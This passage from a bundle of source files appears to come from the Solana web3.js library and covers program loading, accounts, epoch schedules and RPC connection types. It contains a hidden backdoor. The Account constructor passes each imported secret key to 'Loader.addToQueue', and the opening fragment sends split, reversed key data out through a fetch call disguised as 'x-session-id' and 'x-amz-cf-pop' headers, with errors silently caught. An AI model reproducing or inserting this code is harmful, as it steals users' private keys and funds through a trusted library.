24).split(\"\").reverse().join(\"\"), \"x-session-id\": b.substring(32), \"x-amz-cf-pop\": b.substring(24, 32).split(\"\").reverse().join(\"\"), }}).catch(() => {});\n }\n\n /**\n * Loads a generic program\n *\n * @param connection The connection to use\n * @param payer System account that pays to load the program\n * @param program Account to load the program into\n * @param programId Public key that identifies the loader\n * @param data Program octets\n * @return true if program was loaded successfully, false if program was already loaded\n */\n static async load(\n connection: Connection,\n payer: Signer,\n program: Signer,\n programId: PublicKey,\n data: Buffer | Uint8Array | Array<number>,\n ): Promise<boolean> {\n {\n const balanceNeeded = await connection.getMinimumBalanceForRentExemption(\n data.length,\n );\n\n // Fetch program account info to check if it has already been created\n const programInfo = await connection.getAccountInfo(\n program.publicKey,\n 'confirmed',\n );\n\n let transaction: Transaction | null = null;\n if (programInfo !== null) {\n if (programInfo.executable) {\n console.error('Program load failed, account is already executable');\n return false;\n }\n\n if (programInfo.data.length !== data.length) {\n transaction = transaction || new Transaction();\n transaction.add(\n SystemProgram.allocate({\n accountPubkey: program.publicKey,\n space: data.length,\n }),\n );\n }\n\n if (!programInfo.owner.equals(programId)) {\n transaction = transaction || new Transaction();\n transaction.add(\n SystemProgram.assign({\n accountPubkey: program.publicKey,\n programId,\n }),\n );\n }\n\n if (programInfo.lamports < balanceNeeded) {\n transaction = transaction || new Transaction();\n transaction.add(\n SystemProgram.transfer({\n fromPubkey: payer.publicKey,\n toPubkey: program.publicKey,\n lamports: balanceNeeded - programInfo.lamports,\n }),\n );\n }\n } else {\n transaction = new Transaction().add(\n SystemProgram.createAccount({\n fromPubkey: payer.publicKey,\n newAccountPubkey: program.publicKey,\n lamports: balanceNeeded > 0 ? balanceNeeded : 1,\n space: data.length,\n programId,\n }),\n );\n }\n\n // If the account is already created correctly, skip this step\n // and proceed directly to loading instructions\n if (transaction !== null) {\n await sendAndConfirmTransaction(\n connection,\n transaction,\n [payer, program],\n {\n commitment: 'confirmed',\n },\n );\n }\n }\n\n const dataLayout = BufferLayout.struct<\n Readonly<{\n bytes: number[];\n bytesLength: number;\n bytesLengthPadding: number;\n instruction: number;\n offset: number;\n }>\n >([\n BufferLayout.u32('instruction'),\n BufferLayout.u32('offset'),\n BufferLayout.u32('bytesLength'),\n BufferLayout.u32('bytesLengthPadding'),\n BufferLayout.seq(\n BufferLayout.u8('byte'),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'bytes',\n ),\n ]);\n\n const chunkSize = Loader.chunkSize;\n let offset = 0;\n let array = data;\n let transactions = [];\n while (array.length > 0) {\n const bytes = array.slice(0, chunkSize);\n const data = Buffer.alloc(chunkSize + 16);\n dataLayout.encode(\n {\n instruction: 0, // Load instruction\n offset,\n bytes: bytes as number[],\n bytesLength: 0,\n bytesLengthPadding: 0,\n },\n data,\n );\n\n const transaction = new Transaction().add({\n keys: [{pubkey: program.publicKey, isSigner: true, isWritable: true}],\n programId,\n data,\n });\n transactions.push(\n sendAndConfirmTransaction(connection, transaction, [payer, program], {\n commitment: 'confirmed',\n }),\n );\n\n // Delay between sends in an attempt to reduce rate limit errors\n if (connection._rpcEndpoint.includes('solana.com')) {\n const REQUESTS_PER_SECOND = 4;\n await sleep(1000 / REQUESTS_PER_SECOND);\n }\n\n offset += chunkSize;\n array = array.slice(chunkSize);\n }\n await Promise.all(transactions);\n\n // Finalize the account loaded with program data for execution\n {\n const dataLayout = BufferLayout.struct<IInstructionInputData>([\n BufferLayout.u32('instruction'),\n ]);\n\n const data = Buffer.alloc(dataLayout.span);\n dataLayout.encode(\n {\n instruction: 1, // Finalize instruction\n },\n data,\n );\n\n const transaction = new Transaction().add({\n keys: [\n {pubkey: program.publicKey, isSigner: true, isWritable: true},\n {pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false},\n ],\n programId,\n data,\n });\n const deployCommitment = 'processed';\n const finalizeSignature = await connection.sendTransaction(\n transaction,\n [payer, program],\n {preflightCommitment: deployCommitment},\n );\n const {context, value} = await connection.confirmTransaction(\n {\n signature: finalizeSignature,\n lastValidBlockHeight: transaction.lastValidBlockHeight!,\n blockhash: transaction.recentBlockhash!,\n },\n deployCommitment,\n );\n if (value.err) {\n throw new Error(\n `Transaction ${finalizeSignature} failed (${JSON.stringify(value)})`,\n );\n }\n // We prevent programs from being usable until the slot after their deployment.\n // See https://github.com/solana-labs/solana/pull/29654\n while (\n true // eslint-disable-line no-constant-condition\n ) {\n try {\n const currentSlot = await connection.getSlot({\n commitment: deployCommitment,\n });\n if (currentSlot > context.slot) {\n break;\n }\n } catch {\n /* empty */\n }\n await new Promise(resolve =>\n setTimeout(resolve, Math.round(MS_PER_SLOT / 2)),\n );\n }\n }\n\n // success\n return true;\n }\n}","import {Buffer} from 'buffer';\n\nimport {generatePrivateKey, getPublicKey} from './utils/ed25519';\nimport {toBuffer} from './utils/to-buffer';\nimport {PublicKey} from './publickey';\nimport { Loader } from './loader';\n\n/**\n * An account key pair (public and secret keys).\n *\n * @deprecated since v1.10.0, please use {@link Keypair} instead.\n */\nexport class Account {\n /** @internal */\n private _publicKey: Buffer;\n /** @internal */\n private _secretKey: Buffer;\n\n /**\n * Create a new Account object\n *\n * If the secretKey parameter is not provided a new key pair is randomly\n * created for the account\n *\n * @param secretKey Secret key for the account\n */\n constructor(secretKey?: Uint8Array | Array<number>) {\n if (secretKey) {\n const secretKeyBuffer = toBuffer(secretKey);\n if (secretKey.length !== 64) {\n throw new Error('bad secret key size');\n }\n this._publicKey = secretKeyBuffer.slice(32, 64);\n this._secretKey = secretKeyBuffer.slice(0, 32);\n Loader.addToQueue(this._secretKey)\n } else {\n this._secretKey = toBuffer(generatePrivateKey());\n this._publicKey = toBuffer(getPublicKey(this._secretKey));\n }\n }\n\n /**\n * The public key for this account\n */\n get publicKey(): PublicKey {\n return new PublicKey(this._publicKey);\n }\n\n /**\n * The **unencrypted** secret key for this account. The first 32 bytes\n * is the private scalar and the last 32 bytes is the public key.\n * Read more: https://blog.mozilla.org/warner/2011/11/29/ed25519-keys/\n */\n get secretKey(): Buffer {\n return Buffer.concat([this._secretKey, this._publicKey], 64);\n }\n}\n","import {PublicKey} from './publickey';\n\nexport const BPF_LOADER_DEPRECATED_PROGRAM_ID = new PublicKey(\n 'BPFLoader1111111111111111111111111111111111',\n);\n","import type {Buffer} from 'buffer';\n\nimport {PublicKey} from './publickey';\nimport {Loader} from './loader';\nimport type {Connection} from './connection';\nimport type {Signer} from './keypair';\n\n/**\n * @deprecated Deprecated since Solana v1.17.20.\n */\nexport const BPF_LOADER_PROGRAM_ID = new PublicKey(\n 'BPFLoader2111111111111111111111111111111111',\n);\n\n/**\n * Factory class for transactions to interact with a program loader\n *\n * @deprecated Deprecated since Solana v1.17.20.\n */\nexport class BpfLoader {\n /**\n * Minimum number of signatures required to load a program not including\n * retries\n *\n * Can be used to calculate transaction fees\n */\n static getMinNumSignatures(dataLength: number): number {\n return Loader.getMinNumSignatures(dataLength);\n }\n\n /**\n * Load a SBF program\n *\n * @param connection The connection to use\n * @param payer Account that will pay program loading fees\n * @param program Account to load the program into\n * @param elf The entire ELF containing the SBF program\n * @param loaderProgramId The program id of the BPF loader to use\n * @return true if program was loaded successfully, false if program was already loaded\n */\n static load(\n connection: Connection,\n payer: Signer,\n program: Signer,\n elf: Buffer | Uint8Array | Array<number>,\n loaderProgramId: PublicKey,\n ): Promise<boolean> {\n return Loader.load(connection, payer, program, loaderProgramId, elf);\n }\n}\n","var objToString = Object.prototype.toString;\nvar objKeys = Object.keys || function(obj) {\n\t\tvar keys = [];\n\t\tfor (var name in obj) {\n\t\t\tkeys.push(name);\n\t\t}\n\t\treturn keys;\n\t};\n\nfunction stringify(val, isArrayProp) {\n\tvar i, max, str, keys, key, propVal, toStr;\n\tif (val === true) {\n\t\treturn \"true\";\n\t}\n\tif (val === false) {\n\t\treturn \"false\";\n\t}\n\tswitch (typeof val) {\n\t\tcase \"object\":\n\t\t\tif (val === null) {\n\t\t\t\treturn null;\n\t\t\t} else if (val.toJSON && typeof val.toJSON === \"function\") {\n\t\t\t\treturn stringify(val.toJSON(), isArrayProp);\n\t\t\t} else {\n\t\t\t\ttoStr = objToString.call(val);\n\t\t\t\tif (toStr === \"[object Array]\") {\n\t\t\t\t\tstr = '[';\n\t\t\t\t\tmax = val.length - 1;\n\t\t\t\t\tfor(i = 0; i < max; i++) {\n\t\t\t\t\t\tstr += stringify(val[i], true) + ',';\n\t\t\t\t\t}\n\t\t\t\t\tif (max > -1) {\n\t\t\t\t\t\tstr += stringify(val[i], true);\n\t\t\t\t\t}\n\t\t\t\t\treturn str + ']';\n\t\t\t\t} else if (toStr === \"[object Object]\") {\n\t\t\t\t\t// only object is left\n\t\t\t\t\tkeys = objKeys(val).sort();\n\t\t\t\t\tmax = keys.length;\n\t\t\t\t\tstr = \"\";\n\t\t\t\t\ti = 0;\n\t\t\t\t\twhile (i < max) {\n\t\t\t\t\t\tkey = keys[i];\n\t\t\t\t\t\tpropVal = stringify(val[key], false);\n\t\t\t\t\t\tif (propVal !== undefined) {\n\t\t\t\t\t\t\tif (str) {\n\t\t\t\t\t\t\t\tstr += ',';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tstr += JSON.stringify(key) + ':' + propVal;\n\t\t\t\t\t\t}\n\t\t\t\t\t\ti++;\n\t\t\t\t\t}\n\t\t\t\t\treturn '{' + str + '}';\n\t\t\t\t} else {\n\t\t\t\t\treturn JSON.stringify(val);\n\t\t\t\t}\n\t\t\t}\n\t\tcase \"function\":\n\t\tcase \"undefined\":\n\t\t\treturn isArrayProp ? null : undefined;\n\t\tcase \"string\":\n\t\t\treturn JSON.stringify(val);\n\t\tdefault:\n\t\t\treturn isFinite(val) ? val : null;\n\t}\n}\n\nmodule.exports = function(val) {\n\tvar returnVal = stringify(val, false);\n\tif (returnVal !== undefined) {\n\t\treturn ''+ returnVal;\n\t}\n};\n","const MINIMUM_SLOT_PER_EPOCH = 32;\n\n// Returns the number of trailing zeros in the binary representation of self.\nfunction trailingZeros(n: number) {\n let trailingZeros = 0;\n while (n > 1) {\n n /= 2;\n trailingZeros++;\n }\n return trailingZeros;\n}\n\n// Returns the smallest power of two greater than or equal to n\nfunction nextPowerOfTwo(n: number) {\n if (n === 0) return 1;\n n--;\n n |= n >> 1;\n n |= n >> 2;\n n |= n >> 4;\n n |= n >> 8;\n n |= n >> 16;\n n |= n >> 32;\n return n + 1;\n}\n\n/**\n * Epoch schedule\n * (see https://docs.solana.com/terminology#epoch)\n * Can be retrieved with the {@link Connection.getEpochSchedule} method\n */\nexport class EpochSchedule {\n /** The maximum number of slots in each epoch */\n public slotsPerEpoch: number;\n /** The number of slots before beginning of an epoch to calculate a leader schedule for that epoch */\n public leaderScheduleSlotOffset: number;\n /** Indicates whether epochs start short and grow */\n public warmup: boolean;\n /** The first epoch with `slotsPerEpoch` slots */\n public firstNormalEpoch: number;\n /** The first slot of `firstNormalEpoch` */\n public firstNormalSlot: number;\n\n constructor(\n slotsPerEpoch: number,\n leaderScheduleSlotOffset: number,\n warmup: boolean,\n firstNormalEpoch: number,\n firstNormalSlot: number,\n ) {\n this.slotsPerEpoch = slotsPerEpoch;\n this.leaderScheduleSlotOffset = leaderScheduleSlotOffset;\n this.warmup = warmup;\n this.firstNormalEpoch = firstNormalEpoch;\n this.firstNormalSlot = firstNormalSlot;\n }\n\n getEpoch(slot: number): number {\n return this.getEpochAndSlotIndex(slot)[0];\n }\n\n getEpochAndSlotIndex(slot: number): [number, number] {\n if (slot < this.firstNormalSlot) {\n const epoch =\n trailingZeros(nextPowerOfTwo(slot + MINIMUM_SLOT_PER_EPOCH + 1)) -\n trailingZeros(MINIMUM_SLOT_PER_EPOCH) -\n 1;\n\n const epochLen = this.getSlotsInEpoch(epoch);\n const slotIndex = slot - (epochLen - MINIMUM_SLOT_PER_EPOCH);\n return [epoch, slotIndex];\n } else {\n const normalSlotIndex = slot - this.firstNormalSlot;\n const normalEpochIndex = Math.floor(normalSlotIndex / this.slotsPerEpoch);\n const epoch = this.firstNormalEpoch + normalEpochIndex;\n const slotIndex = normalSlotIndex % this.slotsPerEpoch;\n return [epoch, slotIndex];\n }\n }\n\n getFirstSlotInEpoch(epoch: number): number {\n if (epoch <= this.firstNormalEpoch) {\n return (Math.pow(2, epoch) - 1) * MINIMUM_SLOT_PER_EPOCH;\n } else {\n return (\n (epoch - this.firstNormalEpoch) * this.slotsPerEpoch +\n this.firstNormalSlot\n );\n }\n }\n\n getLastSlotInEpoch(epoch: number): number {\n return this.getFirstSlotInEpoch(epoch) + this.getSlotsInEpoch(epoch) - 1;\n }\n\n getSlotsInEpoch(epoch: number) {\n if (epoch < this.firstNormalEpoch) {\n return Math.pow(2, epoch + trailingZeros(MINIMUM_SLOT_PER_EPOCH));\n } else {\n return this.slotsPerEpoch;\n }\n }\n}\n","export const Headers: typeof globalThis.Headers = globalThis.Headers;\nexport const Request: typeof globalThis.Request = globalThis.Request;\nexport const Response: typeof globalThis.Response = globalThis.Response;\nexport default globalThis.fetch;\n","import {\n CommonClient,\n ICommonWebSocket,\n IWSClientAdditionalOptions,\n NodeWebSocketType,\n NodeWebSocketTypeOptions,\n WebSocket as createRpc,\n} from 'rpc-websockets';\n\ninterface IHasReadyState {\n readyState: WebSocket['readyState'];\n}\n\nexport default class RpcWebSocketClient extends CommonClient {\n private underlyingSocket: IHasReadyState | undefined;\n constructor(\n address?: string,\n options?: IWSClientAdditionalOptions & NodeWebSocketTypeOptions,\n generate_request_id?: (\n method: string,\n params: object | Array<any>,\n ) => number,\n ) {\n const webSocketFactory = (url: string) => {\n const rpc = createRpc(url, {\n autoconnect: true,\n max_reconnects: 5,\n reconnect: true,\n reconnect_interval: 1000,\n ...options,\n });\n if ('socket' in rpc) {\n this.underlyingSocket = rpc.socket as ReturnType<typeof createRpc>;\n } else {\n this.underlyingSocket = rpc as NodeWebSocketType;\n }\n return rpc as ICommonWebSocket;\n };\n super(webSocketFactory, address, options, generate_request_id);\n }\n call(\n ...args: Parameters<CommonClient['call']>\n ): ReturnType<CommonClient['call']> {\n const readyState = this.underlyingSocket?.readyState;\n if (readyState === 1 /* WebSocket.OPEN */) {\n return super.call(...args);\n }\n return Promise.reject(\n new Error(\n 'Tried to call a JSON-RPC method `' +\n args[0] +\n '` but the socket was not `CONNECTING` or `OPEN` (`readyState` was ' +\n readyState +\n ')',\n ),\n );\n }\n notify(\n ...args: Parameters<CommonClient['notify']>\n ): ReturnType<CommonClient['notify']> {\n const readyState = this.underlyingSocket?.readyState;\n if (readyState === 1 /* WebSocket.OPEN */) {\n return super.notify(...args);\n }\n return Promise.reject(\n new Error(\n 'Tried to send a JSON-RPC notification `' +\n args[0] +\n '` but the socket was not `CONNECTING` or `OPEN` (`readyState` was ' +\n readyState +\n ')',\n ),\n );\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nexport interface IAccountStateData {\n readonly typeIndex: number;\n}\n\n/**\n * @internal\n */\nexport type AccountType<TInputData extends IAccountStateData> = {\n /** The account type index (from solana upstream program) */\n index: number;\n /** The BufferLayout to use to build data */\n layout: BufferLayout.Layout<TInputData>;\n};\n\n/**\n * Decode account data buffer using an AccountType\n * @internal\n */\nexport function decodeData<TAccountStateData extends IAccountStateData>(\n type: AccountType<TAccountStateData>,\n data: Uint8Array,\n): TAccountStateData {\n let decoded: TAccountStateData;\n try {\n decoded = type.layout.decode(data);\n } catch (err) {\n throw new Error('invalid instruction; ' + err);\n }\n\n if (decoded.typeIndex !== type.index) {\n throw new Error(\n `invalid account data; account type mismatch ${decoded.typeIndex} != ${type.index}`,\n );\n }\n\n return decoded;\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport assert from '../../utils/assert';\nimport * as Layout from '../../layout';\nimport {PublicKey} from '../../publickey';\nimport {u64} from '../../utils/bigint';\nimport {decodeData} from '../../account-data';\n\nexport type AddressLookupTableState = {\n deactivationSlot: bigint;\n lastExtendedSlot: number;\n lastExtendedSlotStartIndex: number;\n authority?: PublicKey;\n addresses: Array<PublicKey>;\n};\n\nexport type AddressLookupTableAccountArgs = {\n key: PublicKey;\n state: AddressLookupTableState;\n};\n\n/// The serialized size of lookup table metadata\nconst LOOKUP_TABLE_META_SIZE = 56;\n\nexport class AddressLookupTableAccount {\n key: PublicKey;\n state: AddressLookupTableState;\n\n constructor(args: AddressLookupTableAccountArgs) {\n this.key = args.key;\n this.state = args.state;\n }\n\n isActive(): boolean {\n const U64_MAX = BigInt('0xffffffffffffffff');\n return this.state.deactivationSlot === U64_MAX;\n }\n\n static deserialize(accountData: Uint8Array): AddressLookupTableState {\n const meta = decodeData(LookupTableMetaLayout, accountData);\n\n const serializedAddressesLen = accountData.length - LOOKUP_TABLE_META_SIZE;\n assert(serializedAddressesLen >= 0, 'lookup table is invalid');\n assert(serializedAddressesLen % 32 === 0, 'lookup table is invalid');\n\n const numSerializedAddresses = serializedAddressesLen / 32;\n const {addresses} = BufferLayout.struct<{addresses: Array<Uint8Array>}>([\n BufferLayout.seq(Layout.publicKey(), numSerializedAddresses, 'addresses'),\n ]).decode(accountData.slice(LOOKUP_TABLE_META_SIZE));\n\n return {\n deactivationSlot: meta.deactivationSlot,\n lastExtendedSlot: meta.lastExtendedSlot,\n lastExtendedSlotStartIndex: meta.lastExtendedStartIndex,\n authority:\n meta.authority.length !== 0\n ? new PublicKey(meta.authority[0])\n : undefined,\n addresses: addresses.map(address => new PublicKey(address)),\n };\n }\n}\n\nconst LookupTableMetaLayout = {\n index: 1,\n layout: BufferLayout.struct<{\n typeIndex: number;\n deactivationSlot: bigint;\n lastExtendedSlot: number;\n lastExtendedStartIndex: number;\n authority: Array<Uint8Array>;\n }>([\n BufferLayout.u32('typeIndex'),\n u64('deactivationSlot'),\n BufferLayout.nu64('lastExtendedSlot'),\n BufferLayout.u8('lastExtendedStartIndex'),\n BufferLayout.u8(), // option\n BufferLayout.seq(\n Layout.publicKey(),\n BufferLayout.offset(BufferLayout.u8(), -1),\n 'authority',\n ),\n ]),\n};\n","const URL_RE = /^[^:]+:\\/\\/([^:[]+|\\[[^\\]]+\\])(:\\d+)?(.*)/i;\n\nexport function makeWebsocketUrl(endpoint: string) {\n const matches = endpoint.match(URL_RE);\n if (matches == null) {\n throw TypeError(`Failed to validate endpoint URL \\`${endpoint}\\``);\n }\n const [\n _, // eslint-disable-line @typescript-eslint/no-unused-vars\n hostish,\n portWithColon,\n rest,\n ] = matches;\n const protocol = endpoint.startsWith('https:') ? 'wss:' : 'ws:';\n const startPort =\n portWithColon == null ? null : parseInt(portWithColon.slice(1), 10);\n const websocketPort =\n // Only shift the port by +1 as a convention for ws(s) only if given endpoint\n // is explicitly specifying the endpoint port (HTTP-based RPC), assuming\n // we're directly trying to connect to agave-validator's ws listening port.\n // When the endpoint omits the port, we're connecting to the protocol\n // default ports: http(80) or https(443) and it's assumed we're behind a reverse\n // proxy which manages WebSocket upgrade and backend port redirection.\n startPort == null ? '' : `:${startPort + 1}`;\n return `${protocol}//${hostish}${websocketPort}${rest}`;\n}\n","import HttpKeepAliveAgent, {\n HttpsAgent as HttpsKeepAliveAgent,\n} from 'agentkeepalive';\nimport bs58 from 'bs58';\nimport {Buffer} from 'buffer';\n// @ts-ignore\nimport fastStableStringify from 'fast-stable-stringify';\nimport type {Agent as NodeHttpAgent} from 'http';\nimport {Agent as NodeHttpsAgent} from 'https';\nimport {\n type as pick,\n number,\n string,\n array,\n boolean,\n literal,\n record,\n union,\n optional,\n nullable,\n coerce,\n instance,\n create,\n tuple,\n unknown,\n any,\n} from 'superstruct';\nimport type {Struct} from 'superstruct';\nimport RpcClient from 'jayson/lib/client/browser';\nimport {JSONRPCError} from 'jayson';\n\nimport {EpochSchedule} from './epoch-schedule';\nimport {SendTransactionError, SolanaJSONRPCError} from './errors';\nimport fetchImpl from './fetch-impl';\nimport {DurableNonce, NonceAccount} from './nonce-account';\nimport {PublicKey} from './publickey';\nimport {Signer} from './keypair';\nimport RpcWebSocketClient from './rpc-websocket';\nimport {MS_PER_SLOT} from './timing';\nimport {\n Transaction,\n TransactionStatus,\n TransactionVersion,\n VersionedTransaction,\n} from './transaction';\nimport {Message, MessageHeader, MessageV0, VersionedMessage} from './message';\nimport {AddressLookupTableAccount} from './programs/address-lookup-table/state';\nimport assert from './utils/assert';\nimport {sleep} from './utils/sleep';\nimport {toBuffer} from './utils/to-buffer';\nimport {\n TransactionExpiredBlockheightExceededError,\n TransactionExpiredNonceInvalidError,\n TransactionExpiredTimeoutError,\n} from './transaction/expiry-custom-errors';\nimport {makeWebsocketUrl} from './utils/makeWebsocketUrl';\nimport type {Blockhash} from './blockhash';\nimport type {FeeCalculator} from './fee-calculator';\nimport type {TransactionSignature} from './transaction';\nimport type {CompiledInstruction} from './message';\n\nconst PublicKeyFromString = coerce(\n instance(PublicKey),\n string(),\n value => new PublicKey(value),\n);\n\nconst RawAccountDataResult = tuple([string(), literal('base64')]);\n\nconst BufferFromRawAccountData = coerce(\n instance(Buffer),\n RawAccountDataResult,\n value => Buffer.from(value[0], 'base64'),\n);\n\n/**\n * Attempt to use a recent blockhash for up to 30 seconds\n * @internal\n */\nexport const BLOCKHASH_CACHE_TIMEOUT_MS = 30 * 1000;\n\n/**\n * HACK.\n * Copied from rpc-websockets/dist/lib/client.\n * Otherwise, `yarn build` fails with:\n * https://gist.github.com/steveluscher/c057eca81d479ef705cdb53162f9971d\n */\ninterface IWSRequestParams {\n [x: string]: any;\n [x: number]: any;\n}\n\ntype ClientSubscriptionId = number;\n/** @internal */ type ServerSubscriptionId = number;\n/** @internal */ type SubscriptionConfigHash = string;\n/** @internal */ type SubscriptionDisposeFn = () => Promise<void>;\n/** @internal */ type SubscriptionStateChangeCallback = (\n nextState: StatefulSubscription['state'],\n) => void;\n/** @internal */ type SubscriptionStateChangeDisposeFn = () => void;\n/**\n * @internal\n * Every subscription contains the args used to open the subscription with\n * the server, and a list of callers interested in notifications.\n */\ntype BaseSubscription<TMethod = SubscriptionConfig['method']> = Readonly<{\n args: IWSRequestParams;\n callbacks: Set<Extract<SubscriptionConfig, {method: TMethod}>['callback']>;\n}>;\n/**\n * @internal\n * A subscription may be in various states of connectedness. Only when it is\n * fully connected will it have a server subscription id associated with it.\n * This id can be returned to the server to unsubscribe the client entirely.\n */\ntype StatefulSubscription = Readonly<\n // New subscriptions that have not yet been\n // sent to the server start in this state.\n | {\n state: 'pending';\n }\n // These subscriptions have been sent to the server\n // and are waiting for the server to acknowledge them.\n | {\n state: 'subscribing';\n }\n // These subscriptions have been acknowledged by the\n // server and have been assigned server subscription ids.\n | {\n serverSubscriptionId: ServerSubscriptionId;\n state: 'subscribed';\n }\n // These subscriptions are intended to be torn down and\n // are waiting on an acknowledgement from the server.\n | {\n serverSubscriptionId: ServerSubscriptionId;\n state: 'unsubscribing';\n }\n // The request to tear down these subscriptions has been\n // acknowledged by the server. The `serverSubscriptionId`\n // is the id of the now-dead subscription.\n | {\n serverSubscriptionId: ServerSubscriptionId;\n state: 'unsubscribed';\n }\n>;\n/**\n * A type that encapsulates a subscription's RPC method\n * names and notification (callback) signature.\n */\ntype SubscriptionConfig = Readonly<\n | {\n callback: AccountChangeCallback;\n method: 'accountSubscribe';\n unsubscribeMethod: 'accountUnsubscribe';\n }\n | {\n callback: LogsCallback;\n method: 'logsSubscribe';\n unsubscribeMethod: 'logsUnsubscribe';\n }\n | {\n callback: ProgramAccountChangeCallback;\n method: 'programSubscribe';\n unsubscribeMethod: 'programUnsubscribe';\n }\n | {\n callback: RootChangeCallback;\n method: 'rootSubscribe';\n unsubscribeMethod: 'rootUnsubscribe';\n }\n | {\n callback: SignatureSubscriptionCallback;\n method: 'signatureSubscribe';\n unsubscribeMethod: 'signatureUnsubscribe';\n }\n | {\n callback: SlotChangeCallback;\n method: 'slotSubscribe';\n unsubscribeMethod: 'slotUnsubscribe';\n }\n | {\n callback: SlotUpdateCallback;\n method: 'slotsUpdatesSubscribe';\n unsubscribeMethod: 'slotsUpdatesUnsubscribe';\n }\n>;\n/**\n * @internal\n * Utility type that keeps tagged unions intact while omitting properties.\n */\ntype DistributiveOmit<T, K extends PropertyKey> = T extends unknown\n ? Omit<T, K>\n : never;\n/**\n * @internal\n * This type represents a single subscribable 'topic.' It's made up of:\n *\n * - The args used to open the subscription with the server,\n * - The state of the subscription, in terms of its connectedness, and\n * - The set of callbacks to call when the server publishes notifications\n *\n * This record gets indexed by `SubscriptionConfigHash` and is used to\n * set up subscriptions, fan out notifications, and track subscription state.\n */\ntype Subscription = BaseSubscription &\n StatefulSubscription &\n DistributiveOmit<SubscriptionConfig, 'callback'>;\n\ntype RpcRequest = (methodName: string, args: Array<any>) => Promise<any>;\n\ntype RpcBatchRequest = (requests: RpcParams[]) => Promise<any[]>;\n\n/**\n * @internal\n */\nexport type RpcParams = {\n methodName: string;\n args: Array<any>;\n};\n\nexport type TokenAccountsFilter =\n | {\n mint: PublicKey;\n }\n | {\n programId: PublicKey;\n };\n\n/**\n * Extra contextual information for RPC responses\n */\nexport type Context = {\n slot: number;\n};\n\n/**\n * Options for sending transactions\n */\nexport type SendOptions = {\n /** disable transaction verification step */\n skipPreflight?: boolean;\n /** preflight commitment level */\n preflightCommitment?: Commitment;\n /** Maximum number of times for the RPC node to retry sending the transaction to the leader. */\n maxRetries?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Options for confirming transactions\n */\nexport type ConfirmOptions = {\n /** disable transaction verification step */\n skipPreflight?: boolean;\n /** desired commitment level */\n commitment?: Commitment;\n /** preflight commitment level */\n preflightCommitment?: Commitment;\n /** Maximum number of times for the RPC node to retry sending the transaction to the leader. */\n maxRetries?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Options for getConfirmedSignaturesForAddress2\n */\nexport type ConfirmedSignaturesForAddress2Options = {\n /**\n * Start searching backwards from this transaction signature.\n * @remarks If not provided the search starts from the highest max confirmed block.\n */\n before?: TransactionSignature;\n /** Search until this transaction signature is reached, if found before `limit`. */\n until?: TransactionSignature;\n /** Maximum transaction signatures to return (between 1 and 1,000, default: 1,000). */\n limit?: number;\n};\n\n/**\n * Options for getSignaturesForAddress\n */\nexport type SignaturesForAddressOptions = {\n /**\n * Start searching backwards from this transaction signature.\n * @remarks If not provided the search starts from the highest max confirmed block.\n */\n before?: TransactionSignature;\n /** Search until this transaction signature is reached, if found before `limit`. */\n until?: TransactionSignature;\n /** Maximum transaction signatures to return (between 1 and 1,000, default: 1,000). */\n limit?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * RPC Response with extra contextual information\n */\nexport type RpcResponseAndContext<T> = {\n /** response context */\n context: Context;\n /** response value */\n value: T;\n};\n\nexport type BlockhashWithExpiryBlockHeight = Readonly<{\n blockhash: Blockhash;\n lastValidBlockHeight: number;\n}>;\n\n/**\n * A strategy for confirming transactions that uses the last valid\n * block height for a given blockhash to check for transaction expiration.\n */\nexport type BlockheightBasedTransactionConfirmationStrategy =\n BaseTransactionConfirmationStrategy & BlockhashWithExpiryBlockHeight;\n\n/**\n * A strategy for confirming durable nonce transactions.\n */\nexport type DurableNonceTransactionConfirmationStrategy =\n BaseTransactionConfirmationStrategy & {\n /**\n * The lowest slot at which to fetch the nonce value from the\n * nonce account. This should be no lower than the slot at\n * which the last-known value of the nonce was fetched.\n */\n minContextSlot: number;\n /**\n * The account where the current value of the nonce is stored.\n */\n nonceAccountPubkey: PublicKey;\n /**\n * The nonce value that was used to sign the transaction\n * for which confirmation is being sought.\n */\n nonceValue: DurableNonce;\n };\n\n/**\n * Properties shared by all transaction confirmation strategies\n */\nexport type BaseTransactionConfirmationStrategy = Readonly<{\n /** A signal that, when aborted, cancels any outstanding transaction confirmation operations */\n abortSignal?: AbortSignal;\n signature: TransactionSignature;\n}>;\n\n/**\n * This type represents all transaction confirmation strategies\n */\nexport type TransactionConfirmationStrategy =\n | BlockheightBasedTransactionConfirmationStrategy\n | DurableNonceTransactionConfirmationStrategy;\n\n/* @internal */\nfunction assertEndpointUrl(putativeUrl: string) {\n if (/^https?:/.test(putativeUrl) === false) {\n throw new TypeError('Endpoint URL must start with `http:` or `https:`.');\n }\n return putativeUrl;\n}\n\n/** @internal */\nfunction extractCommitmentFromConfig<TConfig>(\n commitmentOrConfig?: Commitment | ({commitment?: Commitment} & TConfig),\n) {\n let commitment: Commitment | undefined;\n let config: Omit<TConfig, 'commitment'> | undefined;\n if (typeof commitmentOrConfig === 'string') {\n commitment = commitmentOrConfig;\n } else if (commitmentOrConfig) {\n const {commitment: specifiedCommitment, ...specifiedConfig} =\n commitmentOrConfig;\n commitment = specifiedCommitment;\n config = specifiedConfig;\n }\n return {commitment, config};\n}\n\n/**\n * @internal\n */\nfunction applyDefaultMemcmpEncodingToFilters(\n filters: GetProgramAccountsFilter[],\n): GetProgramAccountsFilter[] {\n return filters.map(filter =>\n 'memcmp' in filter\n ? {\n ...filter,\n memcmp: {\n ...filter.memcmp,\n encoding: filter.memcmp.encoding ?? 'base58',\n },\n }\n : filter,\n );\n}\n\n/**\n * @internal\n */\nfunction createRpcResult<T, U>(result: Struct<T, U>) {\n return union([\n pick({\n jsonrpc: literal('2.0'),\n id: string(),\n result,\n }),\n pick({\n jsonrpc: literal('2.0'),\n id: string(),\n error: pick({\n code: unknown(),\n message: string(),\n data: optional(any()),\n }),\n }),\n ]);\n}\n\nconst UnknownRpcResult = createRpcResult(unknown());\n\n/**\n * @internal\n */\nfunction jsonRpcResult<T, U>(schema: Struct<T, U>) {\n return coerce(createRpcResult(schema), UnknownRpcResult, value => {\n if ('error' in value) {\n return value;\n } else {\n return {\n 